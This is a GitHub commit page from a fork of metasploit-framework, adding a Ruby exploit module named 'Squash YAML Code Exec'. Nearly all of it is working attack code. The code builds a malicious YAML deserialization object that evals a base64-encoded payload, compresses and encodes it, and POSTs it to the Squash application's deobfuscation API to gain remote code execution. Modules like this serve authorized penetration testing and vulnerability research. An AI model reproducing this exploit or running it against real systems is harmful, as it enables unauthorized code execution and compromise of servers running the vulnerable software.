forked from rapid7/metasploit-framework
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #1 from CharlieEriksen/squash-rce
Adding Squash RCE exploit module
- Loading branch information
Showing
1 changed file
with
63 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
|
||
require 'msf/core' | ||
require 'zlib' | ||
require 'base64' | ||
|
||
class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Squash YAML Code Exec', | ||
'Description' => %q{ | ||
This module exploits a remote code execution vulnerability in the | ||
YAML request processor of the Squash application. | ||
}, | ||
'Author' => | ||
[ | ||
'Charlie Eriksen', # Discovery, initial exploit | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'], | ||
], | ||
'Platform' => 'ruby', | ||
'Arch' => ARCH_RUBY, | ||
'Privileged' => false, | ||
'Targets' => [ ['Automatic', {} ] ], | ||
'DisclosureDate' => 'Aug 06 2013', | ||
'DefaultTarget' => 0)) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(80), | ||
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), | ||
], self.class) | ||
|
||
end | ||
|
||
|
||
def exploit | ||
code = Rex::Text.encode_base64(payload.encoded) | ||
yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + | ||
"'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + | ||
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" | ||
payload = Base64.encode64(Zlib::Deflate.deflate(yaml)).gsub("\n", "") | ||
data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}" | ||
send_request_cgi({ | ||
'uri' => '/api/1.0/deobfuscation', | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'data' => data | ||
}, 30) | ||
end | ||
end |